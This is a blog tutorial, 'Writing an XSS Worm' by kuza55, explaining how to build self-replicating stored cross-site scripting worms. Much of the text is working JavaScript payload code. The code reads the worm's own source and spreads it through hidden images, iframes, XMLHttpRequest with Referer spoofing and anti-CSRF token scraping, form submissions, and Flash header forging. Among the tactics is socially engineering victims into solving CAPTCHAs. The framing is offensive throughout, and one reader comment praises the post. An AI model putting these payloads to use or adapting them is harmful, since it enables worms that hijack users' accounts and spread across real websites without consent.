Thursday, March 09, 2006

Writing an XSS Worm

===========================
Writing an XSS worm
Version 0.3 (Updated 17/10/06)
By kuza55
===========================

Contents:

1.0 Introduction to XSS worms
2.0 Reconnaissance
3.0 Finding the Source
4.0 Spreading
  4.1 IMG Tags
  4.2 IFRAME Tags
  4.3 AJAX
  4.4 FORM/IFRAME Combination
  4.5 Flash
      4.5.1 Simple Flash XSS
      4.5.2 More Advanced Flash XSS
5.0 Final Notes
6.0 References

======================
1.0 Introduction
======================

Firstly, we need to know what a(n XSS) worm is. A worm is essentially a piece of (often malicious) code which replicates itself through some means. An XSS worm is the same idea applied to stored XSS holes, e.g. User profiles where users can inject Javascript through some means. This tutorial will use the example of some online software which allows users to input unrestricted HTML on their own page.

This tutorial will focus on writing the actual code to spread, rather than finding a flaw which can be exploited in this way. Methods of Filter evasion are also out of the scope of this tutorial, and there is already much information in that regard available.

======================
2.0 Reconnaissance
======================

Firstly you (obviously) need to find the XSS flaw, but you also need to do some reconnaissance to find what kind of information needs to be sent for it to update a user's profile. The first obvious requirement for almost all applications is that the user must be logged in when viewing the page for it to work. Other requirements may also be in place including the checking of a Referer header, or only accepting arguments via post (as opposed to accepting arguments via any combination of GET/POST/Cookie/etc, as would be the case if using something similar to PHP's $_REQUEST variables).

Once all these things are scoped out you need to analyse wether or not its viable to write an XSS worm, and what the best method of spreading your code would be.

Here's a small listing which should help you decide (though you may have thoughts of your own, these are merely mine), which method would be best.

===========================
Listing 1 - Method Decision Helper

      Accepts input via GET
              Can be done with an IMG/IFRAME tag, a FORM/IFRAME Combination,  AJAX or Flash.
              Essentially any form of XSS can be used here, this is obviously the easiest to exploit.

      Checks Referer
              Cannot be done via IMG tag or Form/IFRAME Combination.
              So the methods left are AJAX, and advanced Flash on IE (more on this later).

      Asks User for Re-Authentication (i.e. password)
              Requires social engineering, should not be difficult since the site would normally have the data anyways, so the user would (and should) not qualm at giving the data to them.
              This could be defeated if the user's pasword hash or password is stored in a cookie. By either decoding the cookie or querying some online reverse-lookup hash databases, or querying an IRC bot through a web interface is possible, but would probably generate a significant time delay.

      Has a CAPTCHA or other form of automation prevention
              Requires social engineering to get the user to fill out the CAPTCHA for you.

      Accepts input via POST Only
              Can be done with an IFRAME, a FORM/IFRAME Combination, AJAX or Advanced Flash.

      Attempts to break out of frames
              Cannot be done with an IFRAME (to the best of my knowledge, I have not delved into this area much), but with the decline in the popularity of shoddy Javascripts which attempt to break out of frames, this should almost never be an issue. It can be done with a FORM/IFRAME Combination, but if the final page breaks out of the frames then you may alert the user.

============================

As you can see AJAX seems to be a rather useful tool for beating technical limitations, and while it is very nice and clean, you _will_ face problems with restrictive permission settings in IE, where the XMLHTTPRequest object is implemented via ActiveX. So while it is very nice technology, and would most likely get through where security permissions are set up to ask the user (since most users will agree to ActiveX controls from trusted websites), in places where it is not it will fail, *but* a nice feature of AJAX is that you can easily tell when the ActiveX components has been rejected and insert some handling code if you like.

Update: Flash is also a very nice payload, but it is more easily restricted since it has to come from an EMBED tag, whereas AJAX can be stuck onto an existing XSS attack vector. On the other hand if you can find an XSS vulnerbaility where you can make use of flash it will be a very nice payload since it is generally not considered a security risk and therefore does not have the same problems as AJAX does on IE, on the other hand as is later explained, the Advanced Flash technique does not completely work on Firefox. There are problems with using flash too but they mainly revolve around the fact that the issues here be patched in Flash 9, which will also be availiable on Linux (unlike Flash 8), but untill that is released Flash is probably the easiest and almost the most powerful way to go.

======================
3.0 Finding The Source
======================

Depending on what code you are actually spreading, you may or may not need to have the worm find its own source, and then put it into a variable for later writing, I will discuss this situation rather than one where you spread a simple script tag with an SRC attribute or similar.

There would be 2 places you would need to extract code from, either enclosed within a tag, or in the attributes of a tag.

For getting data from inside a tag (i.e. not an attribute, but contained within it), for example if you're using a <script> tags to hold your code, then you simply need to use the .innerHTML (or .text, but i think .text is only supported on Mozilla/Firefox) property. So lets have a look at some code then:

<script id=worm>
b = document.getElementById('worm');
var myString = unescape('<script id=worm>');
myString = myString.concat(b.innerHTML);
myString = myString.concat(unescape('</script>'));
alert(myString);
</script>


Works like a charm, and if you have problems with inserting an id then you could always search through an array returned by document.getElementsByTagName()

For getting attributes out, its a bit harder, but probably a more likely situation. Lets use an example of a body element with an onLoad attribute into which we have inserted our worm.

The easiest solution is to find the tag on the page (which is most easily achieved by giving the tag an id), and then using the getAttribute() Method to extract its own code, here's a quick example:

<body id=worm onLoad="b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
">


Now this will work perfectly in Firefox and create an alert of itself exactly as it is there. We will though have a problem with IE, since its version of getAttribute() returns the code inside an anonymous function, so what we would get alert()-ed instead would be (approximately):

<body id=worm onLoad="function anonymous()
{
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
}">


Which doesn't work for our purposes at all. We need to cut the first and last lines of what b.getAttribute returns if the user is using IE. Luckily its easier than removing the first line and last line, because we can remove the first 23 characters and the last character. Now The easiest way to do this would be to first test the browser, find the range of characters you need and then extract them, so we get:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
alert(myString);">


Now, I didn't mention this earlier, but for some reason IE returns a function instead of a string, so we have to use the .toString() method on the result we get before operating on it or we get errors.

There are a few other methods (i.e. completely different methods, with no resemblance to this one), but this is the easiest method I have found.

Update: When using Flash as a delivery mechanism this is not an issue; again it builds the case for flash, but since flash is a corner case of XSS, this section is still relevant.

======================
4.0 Spreading
======================

Now, we've got all the code we need to spread into a variable we need to write some code to actually spread it!

======================
4.1 IMG Tags
======================

The first way like I said, is to use an IMG tag, which, if you can, is the easiest method to use, and I would use it above all other methods wherever possible.

Now, there are 2 ways to write even this. The first way is to change the SRC property of an image (preferably one you can include and give an id) or generate an image via Javascript, and then adjust the image.
I think that generating an image via Javascript, and then changing the src is way too much effort, *but*, if you include an image you'll have to edit your javascript to keep replicating the image as well, but you will get the benefit of more standard behaviors, and less code to write, and less code which needs to be stored on the servers. So lets get to it.

First we need to add the image in to our code, and modify it to take the image into account:

<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">


Easy enough wasn't it, don't forget to use the CSS though, so that not only is it invisible, it doesn't take that element into account when rendering the page (so its better than visibility:false for our purposes).
The next step is to of course make it do something, duh!
For this example lets pretend we have a page called edit_profile.php which takes a single GET parameter (profile), which edits the profile.

<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
myString = escape(myString);
var img = document.getElementById ('wormimg');
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
img.src = url;">


And there we go, we've got probably the simplest XSS worm we can create.

======================
4.2 IFRAME Tags
======================

Now onto using iframes. The idea behind using iframes is to load the page into an iframe, and then fill out the form on the page, and then submit it, in case anyone is wondering why this can't be used from another site, it is because you can only interact with the contents of the page if you are on the same domain as the page.

The first bit (like with the IMG tag) is to add it at the beginning of the worm and then add it into the code in the worm like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">


Now the next step is to change the fields in the iframe. For this we'll assume that the form on the page does not have a name (since most applications don't), and the field we want to edit is called profile.

The property our script needs to edit is:

window.frames[0].document.forms[0].elements['profile'].value

And so all we need to get our script to do is edit that value, and then submit the form, like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
window.frames[0].document.forms[0].elements['profile'].value = myString;
window.frames[0].document.forms[0].submit();">


When working with iframes we are loading a separate document, which may or may not load quickly, we may experience problems on slow sites where our code executes before the iframe finishes loading the form elements we want to interact with.

There are a variety of methods you could use to stop such problems occurring here here. The first would be to set the onLoad attribute of the iframe like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var d = document.getElementById('wormiframe');
d.setAttribute('onLoad', 'set();');
function set () {
      window.frames[0].document.forms[0].elements['profile'].value = myString;
      window.frames[0].document.forms[0].submit();
}">


And essentially that should work, except for a very small chance of some extremely bad timing occurring (e.g. setting the onLoad event to set() and the event getting executed before you can define set()), it should be fine. Or even less likely the form could get loaded before you can set the onLoad attribute and it will never get executed, but both these cases are so unlikely that you shouldn't worry about them.

The second, less clean, method is to create a 'timer' (In the sense of the word, that you can say you want a block of code to get executed every X milliseconds) using [window.]setInterval() - Just a quick not about the notation, by [window.]setInterval() I mean that the function resides within the document object, but not necessary when calling the function -  and [window.]clearInterval() to get rid of the timer. And make that timer see if it can access the window.frames[0].forms[0].elements[0].value property, and if you can't keep spinning, but if you can then clear the interval and execute your code.

Use whatever method you like, but I would go for setting the onLoad attribute because its cleaner, and there's no need for some code being executed over and over again.

Phew! That was enough to get me to question wether or not iframes are preferable to AJAX, but considering that AJAX is used via an ActiveX object in IE (this problem will be resolved in IE7 so we have a standard implementation), you would run into ActiveX restrictions.

======================
4.3 AJAX
======================

AJAX has been hyped quite a lot recently, and while you can do a lot of useful things with it you can also do a lot of destructive things with it, a lot of them centering around IE being dodgy, etc, but anyways, this isn't about AJAX security, this is about how to use AJAX in an XSS worm. Firstly a quick warning, AJAX is awful to debug, absolutely awful, since you generally (especially in IE) see AJAX happening, and in Firefox you have to rely on extensions, so it hurts sometimes, but enough of that lets get some code happening. We'll start off with our existing code for your worm which uses an IMG tag, and make it do the same thing but with AJAX:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
  h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
  try {
    h = new ActiveXObject('Microsoft.XMLHTTP');
  } catch (e) {}
}
}
if (h) {
h.open('GET', url, true);
h.send();
}
">


Anyways, all that the majority of new code there does is try to compensate for different implementations of the same XMLHttpRequest (XHR from here on in) object. The other line simply sends our request, easy enough.

Now lets go to the scenario where we need to spoof the referer, things start getting a tiny bit complex here:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
  h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
  try {
    h = new ActiveXObject('Microsoft.XMLHTTP');
  } catch (e) {}
}
}
if (h) {
h.open('POST', url, true);
h.setRequestHeader('Referer', ref);
h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
h.setRequestHeader('Content-length', params.length);
h.setRequestHeader('Connection', 'close');
h.send(params);
}

">


Alright, so it didn't get too complex, but it was difficult trying to work out why PHP didn't want to create the appropriate superglobal arrays (lack of the Content-Type Request header), but essentially that all you need to do. You can and probably should set up a request handler to account for things, but for something like the above its not needed, we'll work on a more difficult example now.

Lets say the page we're sending things to has been updated yet again, and this time it prevents standard CSRF attacks by having a hidden field variable which is in the page, and needs to be sent with the request, well, that would be easy enough to bypass by using iframes, but if we need to spoof a Referer header as well, we need some AJAX.

For this example lets assume that the field will always be of the form:

<input name='check' type='hidden' value='X' />

Where X is a random string, which can contain any character other than a single quote. The simplest solution to extracting that would be to use Regular Expressions, which is what we will do in the following example:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);

function getXHR() {
var h = false;
if (window.XMLHttpRequest){
  h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
  try {
    h = new ActiveXObject('Msxml2.XMLHTTP');
  } catch (e) {
    try {
      h = new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {}
  }
}

return h;
}

function r () {
if (h.readyState == 4) {
  var value = h.responseText.match( /\<input name=\'check\' type=\'hidden\' value=\'([^\']+\') \/\>/ );

  params = params.concat('&check=');
  params = params.concat(escape(value[1]));

  var h = getXHR(); //since we use the keyword var this is a local variable, not the one we just used

  if (h) {
    h.open('POST', url, true);
    h.setRequestHeader('Referer', ref);
    h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    h.setRequestHeader('Content-length', params.length);
    h.setRequestHeader('Connection', 'close');
    h.send(params);
  }

}
}

h = getXHR();

if (h) {
h.onreadystatechange = r;
h.open('GET', url, true);
h.send();
}

">


Alright, there isn't too much new in there, except for the use of the onreadystatechange property of the XHR property, which allows us to set a callback function which is called whenever the readystate of the object changes, the states that the object can be in are:

0 = uninitialized
1 = loading
2 = loaded
3 = interactive
4 = complete

And if we wanted to have some kind of debugging data then we could use those for information, but since we don't really want to notify the victim of anything, and want to minimise the size of our code, we won't do anything other than check that the transaction has been complete so that we can work with it, because that function will be called at least 4 times. it is also possible to check what status code the XHR object returned by using the status (or statusText for debugging) to do some error handling, like trying to run the code again or something, but for the sake of code size and simplicity I'll leave that out.

======================
4.4 FORM/IFRAME Combination
======================

Another idea for how to send data via POST to a page is to use a form. Now the most basic configuration of a form where the form target is the window it is loaded in is really obvious and ugly. But with a form we can specify a target, which could be a new window a frame, or even an iframe. I'll concentrate on the iframe idea since it seems like the leas tobvious, and the cleanest.

The positive aspect of using a form on the page that you are executing your worm from rather than from inside an iframe is that you don't need to load a form from which you submit data, because your worm will contain a form which submits all the needed data. On the other hand you cannot spoof the referer (or anything else for that matter) using this method. But it is also slightly easier (IMO) than using iframes. So here goes:

<iframe style='display:hidden;' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
document.forms[0].elements['profile'].value = myString;
document.forms[0].submit();">


So, alright, its not that much easier than the iframe, but you don't have to worry about any loading issues here. And its just another way, something you should be aware of, if not use.

======================
4.5 Flash
======================
The delivery of worms via flash comes in two categories,  which i will henceforth refer to as simple and advanced. This is not really a reflection on the difficulty of creating a worm through one of these methods, rather it is a reflection of the cleanliness of the interface we are using, so to speak. Anyway, onto the code.

======================
4.5.1 Simple Flash XSS
======================
The principle behind so called simple flash XSS is quite simplistic. It is the injection of a javascript: url into the browser.

It can easily be achieved through using the getURL function to arbitarily send the user to any URL, in our case a javascript: URL. After that is done the code we send would be the same as we would normally use in any other XSS attack vector, so I don't believe anything more really needs to be said.

======================
4.5.1 More Advanced Flash XSS
======================
The more interesting application of Flash in XSS worms is the ability to send (more or less) arbitary request headers[1]. And since I do not know enough about Flash to claim any actual knowledge of this idea other than its existance I believe that a quote from Amit Klein's paper will be much more ideal:

The following is ActionScript 2.0 syntax for sending out a GET
request (in this example, to
http://www.vuln.site/some/page.cgi?p1=v1&p2=v2) with an arbitrary
HTTP header (Foo: Bar). This code works with Flash 7 and Flash 8
(probably with Flash 6 as well):

var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","GET");

A similar syntax will send POST request (with the same header, to
the same URL, and with body a=b&c=d):

var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.decode("a=b&c=d");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","POST");

(note: the LoadVars.decode() method was added in Flash 7, yet
it's probably possible to compose an arbitrary POST body without
it, so Flash 6 may be covered as well by this variant).

The request is sent from the browser invoking the Flash object.
Any cookies the browser normally sends, will be sent in those
cases as well. The browser's User-Agent is sent, as well as all
browser standard headers. HTTPS links are supported.

This was successfully demonstrated with Microsoft IE 6.0,
Microsoft IE 6.0 SP2 and FireFox 1.5.0.4, running Flash 8.0.22.0
and Flash 7.0.19.0.

In IE, it is possible to overwrite some "normal" browser headers
by simply calling addRequestHeader with the new value. This is
applicable to both Referer and User-Agent. In FireFox 1.5.0.4,
such headers, when used in addRequestHeader() will be appended to
the HTTP request header section.

// One UA in IE 6.0 SP2, two UAs in FF 1.5.0.4
req.addRequestHeader("User-Agent","Hacker/1.0");

// One Referer in IE 6.0 SP2, two Referers in FF 1.5.0.4
req.addRequestHeader("Referer","http://somewhere/");

In IE, it is also possible to overwrite some more sensitive
headers (e.g. Host and Content-Length) by appending colon to the
header name (this technique was described in [3] in the context
of XmlHttpRequest):

req.addRequestHeader("Host:","foobar.site");

This technique doesn't appear to work in FireFox 1.5.0.4.


After a bit of testing it is dissapointing to learn that if headers are sent more than once then PHP simply appends them together with a comma and a space as separaters, and since most web apps will only check if a string is equal, this rules out Referer spoofing on Firefox.

Sending POST requests is still possible though, and so if you need to send post requests but do not need to perform Referer spoofing and don't want to worry about finding source code in the page, and how AJAX works, getting it to work on IE, etc, then Flash is a very nice choice.

I don't think I need to provide an example for this section, so unless someone really needs one (which I hope you don't), so you'll have to write your own.

======================
5.0 Final Notes
======================

As you can see if you can execute arbitary Javascript code you can do a lot of damage, especially if you have access ot the XXMLHttpRequest Object, in which case you can forge absolutely everything which does not require user intelligence (such as being able to decode a CAPTCHA, which you can socially engineer the victim into decoding for you anyway, or having the user enter a assword or similar).

Also, to minimise the size of the code here you can always do things like replacing all my calls to the [String.]concat() method to concatenate strings, with plus signs to concatenate strings, or performing other little shortcuts, or shortening variable names, but the code should be short enough to pass in most places.

Update:Furthermore, if you have the ability to embed Flash files, then writing an XSS worm is generally much simpler than using AJAX, but it is also something that you will rarely find when trying to evade filters. So if you are more comfortable using Flash then your life just got much easier.

A quick explanatory note:
First of all Flash was initially left out because I only knew about the method of executing Javascript and thought that would be better covered somewhere which deals with XSS vectors rather than their payloads, and so did not choose to include it. I have included the simple version in version 0.3 for a bit more completeness. Amit Klien's paper came out about 2-3 weeks after I published version 0.2 of this (which itself was published more than 2 months before that), and as I had only very ilmited experience with Flash I did not myself know of the system in place.

Written by kuza55.

Update:
======================
6.0 References
======================
Everything up to version 0.2 was done from my own knowledge and discovery and so a references section was not needed. Now with the addition of Flash I have some references.
[1] "Forging HTTP Request Headers with Flash ActionScript" by Amit Klein
http://www.securityfocus.com/archive/1/441014/30/

1 comment:

gopher said...

Great work; I just came across the iframe/new window hack while you have found some more attack vectors 18 months before. Thanks.